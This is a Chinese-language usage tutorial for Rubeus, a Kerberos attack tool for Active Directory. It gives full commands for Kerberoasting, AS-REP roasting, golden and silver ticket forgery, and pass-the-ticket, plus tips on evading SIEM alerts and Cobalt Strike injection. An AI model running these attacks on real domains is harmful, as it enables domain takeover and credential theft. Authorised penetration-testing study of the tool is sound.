Rubeus使用教程
Rubeus 是一款专注于 Kerberos 协议交互与滥用的命令行工具,主要用于 Windows 环境下的 Kerberos 票据操作、漏洞利用和凭据提取。它由安全研究员 Will Schroeder 开发,是渗透测试和红队评估中针对 Active Directory 环境的重要工具。
该工具能够直接与 Kerberos 协议进行交互,支持票据请求、导出、注入、续订等操作,同时可以利用多种 Kerberos 相关漏洞(如黄金票据、白银票据、Kerberoasting 等),帮助安全人员评估域环境的安全性,是域渗透测试中的核心工具之一。
二、工具文件结构
| 文件/目录路径 | 说明 |
|---|---|
| /usr/share/windows-resources/rubeus | Rubeus 工具的主目录 |
| Rubeus.exe | Rubeus 工具的可执行文件,为单文件命令行程序,包含所有核心功能 |
三、使用教程
1. 前提条件
- 运行环境:需在 Windows 系统中运行(可通过 Wine 在 Linux 中使用,但推荐原生 Windows 环境)
- 权限要求:部分功能需要域用户权限,高级操作(如票据伪造)需要域管理员相关信息
- 环境依赖:需在 Active Directory 域环境中使用,独立主机环境下功能受限
2. 基础使用方法
Rubeus 采用命令行参数模式,基本语法为:
Rubeus.exe <命令> [参数]3. 核心功能及示例
(1)获取当前用户的 Kerberos 票据
Rubeus.exe tickets /export功能:列出当前用户缓存的所有 Kerberos 票据并导出为 .kirbi 文件
应用场景:获取可用票据用于后续传递或分析
(2)Kerberoasting 攻击(针对服务账户)
# 列出可攻击的服务主体名称(SPN) Rubeus.exe kerberoast /user:目标用户名 # 导出所有可攻击的服务票据哈希 Rubeus.exe kerberoast /outputfile:hashes.txt功能:请求服务票据并提取其哈希值,可用于离线破解服务账户密码
注意:此操作不需要管理员权限,普通域用户即可执行
(3)黄金票据生成与注入
Rubeus.exe golden /user:伪造的用户名 /domain:域名称 /sid:域SID /krbtgt:krbtgt账户哈希 /ptt参数说明:
/user:要伪造的用户名/domain:目标域名称(如 example.com)/sid:域的 SID(可通过whoami /user获取)/krbtgt:域中 krbtgt 账户的 NTLM 哈希/ptt:将生成的票据注入当前会话
功能:生成黄金票据并注入,获得域内任意资源访问权限
(4)白银票据生成
Rubeus.exe silver /user:目标用户 /domain:域名称 /sid:域SID /target:目标服务主机 /service:服务类型 /rc4:服务账户哈希 /ptt功能:生成针对特定服务的白银票据,相比黄金票据更隐蔽,仅需目标服务账户哈希
(5)票据传递(Pass-the-Ticket)
# 注入已导出的票据 Rubeus.exe ptt /ticket:票据文件.kirbi # 列出当前注入的票据 Rubeus.exe klist功能:将获取到的票据注入当前会话,实现无需密码访问目标资源
(6)AS-REP Roasting 攻击
# 查找不需要预认证的用户 Rubeus.exe asreproast /user:目标用户 /outputfile:asrep_hashes.txt功能:针对未启用预认证的用户,获取其 AS-REP 响应并提取哈希进行破解
4. 使用注意事项
- 检测规避:
- 避免在短时间内执行大量操作,可能触发 SIEM 告警
- 可使用
/nowrap参数去除输出中的换行符,便于日志规避 - 结合进程注入技术(如通过 Cobalt Strike 加载)减少直接执行痕迹
- 版本更新:
- Rubeus 持续更新以支持新的 Kerberos 特性和漏洞,建议使用最新版本
- 可通过官方仓库获取更新:https://github.com/GhostPack/Rubeus
- 法律合规:
- 仅在合法授权的渗透测试中使用,未经授权的域环境测试可能违反法律法规
